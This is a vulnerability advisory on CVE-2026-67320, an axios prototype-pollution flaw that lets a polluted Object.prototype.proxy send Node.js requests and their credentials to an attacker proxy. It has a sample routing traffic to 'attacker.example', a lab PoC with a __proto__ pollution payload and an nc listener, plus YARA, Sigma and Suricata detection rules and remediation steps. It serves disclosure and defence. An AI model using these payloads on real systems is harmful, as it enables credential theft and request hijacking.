CVE-2026-67320

Executive Summary

CVE-2026-67320 is a Node.js-specific axios vulnerability that allows an attacker to influence request routing through an attacker-controlled proxy when combined with a prototype pollution primitive. Axios hardens merged request configuration by creating a null-prototype object, but request interceptors run after that hardening step. A common immutable interceptor pattern such as { ...config } or Object.assign({}, config) converts the hardened configuration back into a regular object with a normal Object.prototype chain. Axios then dispatches that object without re-hardening it, so the Node HTTP adapter resolves config.proxy through the prototype chain. If Object.prototype.proxy is polluted, affected axios requests can be routed through an attacker-controlled proxy. For plaintext HTTP, the attacker proxy can observe Authorization headers, Basic auth from config.auth, HTTP method, absolute URL, Host, and request body, and can also return an arbitrary response. No browser impact is established, and HTTPS header or body disclosure is not possible under normal TLS validation.

Supply Chain & Package Security

Axios is an npm package present in a wide range of Node.js applications and transitive dependency trees. This vulnerability is especially relevant for security teams that run npm audit, software composition analysis, and dependency lockfile validation. The vulnerable ranges are >=0.31.1, <0.33.0 and >=1.15.2, <1.18.0. Applications that use an affected axios version in the Node.js HTTP adapter should treat this as a high-impact configuration integrity issue, particularly if the application processes untrusted data through endpoints that could lead to prototype pollution.

CVSS Breakdown & Threat Level

The CVE record currently contains a CVSS score of 0.0 and no assigned CVSS vector, so a formal NVD vector is not available. In practice, the severity should be assessed as High when the following preconditions exist:

• The application uses axios in Node.js.
• An attacker can pollute Object.prototype.proxy, for example through unsafe merge, JSON parsing, query parameter handling, or dependency gadget chains.
• The application sends plaintext HTTP requests containing sensitive headers, cookies, or POST bodies.

The most serious impact is confidentiality loss and response integrity. The attacker-controlled proxy can harvest credentials and return malicious responses, potentially enabling account compromise, lateral movement, or supply-chain style data exfiltration.

Deep Dive & Mechanics

Axios has historically attempted to protect merged configuration from prototype pollution by using a null-prototype object. This prevents inherited properties such as constructor and __proto__ from influencing the final request config. The problem is that axios request interceptors are executed after the hardened config object is created.

A common interceptor pattern is:

axios.interceptors.request.use((config) => ({
  ...config,
  customHeader: 'value'
}));

The spread operator creates a new plain object. That plain object inherits from Object.prototype. If an attacker has polluted Object.prototype.proxy, then the new config object does not need to contain an own proxy property. The Node HTTP adapter inspects config.proxy, and JavaScript walks up the prototype chain, finding the attacker-controlled proxy object.

The resulting flow is:

1. Axios merges defaults and request settings into a null-prototype config.
2. Interceptors execute and spread the config into a normal object.
3. The Node HTTP adapter reads config.proxy.
4. Because the config object inherits from Object.prototype, poisoned Object.prototype.proxy is used as the active proxy.
5. The request is sent to the attacker-controlled proxy instead of the intended destination.

This issue is limited to the Node.js HTTP adapter. Browsers rely on the fetch/XHR stack, where config.proxy is not used in the same way.

Vulnerable vs. Patched Code

Vulnerable Interceptor Pattern

const axios = require('axios');

// Attacker first pollutes Object.prototype anywhere in the application:
Object.prototype.proxy = {
  host: 'attacker.example',
  port: 8080,
  auth: {
    username: 'intel',
    password: 'pwn'
  }
};

axios.interceptors.request.use((config) => ({
  ...config,
  requireAuth: true
}));

axios.get('http://internal.corp/api/secrets', {
  headers: { Authorization: 'Bearer secret-token' }
});

After the spread operation, config is a regular object. When axios later touches config.proxy, JavaScript finds the inherited Object.prototype.proxy and sends the request to the attacker proxy.

Patched Interceptor Pattern

Do not rely on { ...config } to preserve axios hardening. Re-harden or freeze the config after interceptor mutations:

axios.interceptors.request.use((config) => {
  const hardened = Object.assign(Object.create(null), config);
  hardened.requireAuth = true;
  return hardened;
});

Also, update axios to a fixed release. The upstream patch re-hardens or otherwise protects the config after interceptor processing. Upgrade to 0.33.0 or 1.18.0 depending on the release branch.

Exploitation & Lab Setup

Red Team

To demonstrate the vulnerability in an isolated lab:

1. Build a Node.js application using an affected axios version.
2. Add a mock prototype pollution sink, for example an unsafe merge of untrusted user input.
3. Set Object.prototype.proxy to an attacker-controlled endpoint.
4. Trigger any axios HTTP request using the Node HTTP adapter.
5. Run an HTTP listener on the attacker machine and confirm that the request is routed to the listener.

Example attacker proxy listener:

nc -lvnp 8080

Example Node.js PoC:

const axios = require('axios');

// Simulated prototype pollution sink:
const userInput = JSON.parse('{"__proto__":{"proxy":{"host":"127.0.0.1","port":8080}}}');

function merge(target, source) {
  for (const key in source) {
    target[key] = source[key];
  }
}

merge({}, userInput);

axios.get('http://mail.corp/oauth2/token', {
  headers: { Authorization: 'Basic dXNlcjpwYXNz' }
}).catch((err) => {
  console.error(err.message);
});

The nc listener should receive the request, including the Authorization header and the absolute URL.

Blue Team

Blue team validation steps:

• Reproduce the vulnerable behavior in a staging environment, not production.
• Confirm whether any internal application uses affected axios versions by scanning package-lock.json and node_modules.
• Review all request interceptors for spread or Object.assign usage.
• Search code for Object.prototype.proxy, __proto__.proxy, and constructor.prototype.proxy.
• Monitor staging egress traffic to an attacker-controlled IP/port.

Indicators of Compromise (IOCs)

• Unexpected outbound HTTP requests to a proxy host or port that is not part of the approved corporate egress policy.
• Proxy-Authorization header values in application traffic that were not explicitly configured in axios config.
• Source code or application binaries containing strings such as Object.prototype.proxy, __proto__.proxy, or constructor.prototype.proxy.
• Axios configuration object that unexpectedly resolves proxy through inheritance rather than as an own property.
• Node.js request logs showing requests sent to attacker-controlled destinations with the original Host and Authorization headers intact.
• Presence of axios versions >=0.31.1, <0.33.0 or >=1.15.2, <1.18.0 in the dependency tree.

Detection Engineering

No public Nuclei template was provided for this CVE.

YARA Rule

rule CVE_2026_67320_Axios_Proxy_Pollution
{
    meta:
        author = "Valters IT"
        description = "Detects prototype pollution proxy assignment targeting axios"
        reference = "CVE-2026-67320"
    strings:
        $s1 = "Object.prototype.proxy" ascii wide
        $s2 = "__proto__.proxy" ascii wide
        $s3 = "constructor.prototype.proxy" ascii wide
        $s4 = "axios" ascii wide
    condition:
        $s4 and any of ($s1, $s2, $s3)
}

Sigma Rule

title: Axios Prototype Pollution Proxy Routing Attempt
id: 6f8d4a2e-1c3b-4f8b-9b2a-3e4d5f607080
status: experimental
description: Detects Node.js process command lines containing proxy pollution indicators related to CVE-2026-67320.
logsource:
    product: linux
    category: process_creation
detection:
    selection:
        Image|endswith:
            - /node
            - /nodejs
        CommandLine|contains:
            - "Object.prototype.proxy"
            - "__proto__.proxy"
            - "constructor.prototype.proxy"
    condition: selection
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-67320 Axios Proxy Routing Indicator"; flow:to_server,established; http.header; content:"Proxy-Authorization"; nocase; sid:20267320; rev:1;)

Remediation & Mitigation

• Upgrade axios immediately to 0.33.0 or 1.18.0, depending on the release train in use.
• Audit package-lock.json and npm ls axios to locate all direct and transitive dependency versions.
• Remove or replace immutable interceptor patterns that use { ...config } or Object.assign({}, config) without re-hardening the config.
• Review all deserialization, merge, and deep-clone logic in the Node.js process to eliminate prototype pollution entry points.
• Implement allowlists for outbound proxy configuration in axios, and validate that config.proxy is an own property before use.
• Deploy egress monitoring to flag unexpected HTTP proxy connections from application servers.
• Use software composition analysis in CI/CD to block vulnerable axios versions from shipping.
• If a full upgrade is not immediately possible, apply a temporary patch by wrapping interceptors to re-create a null-prototype object before returning config.

Valters IT
Strengthening Security Through Open Intelligence.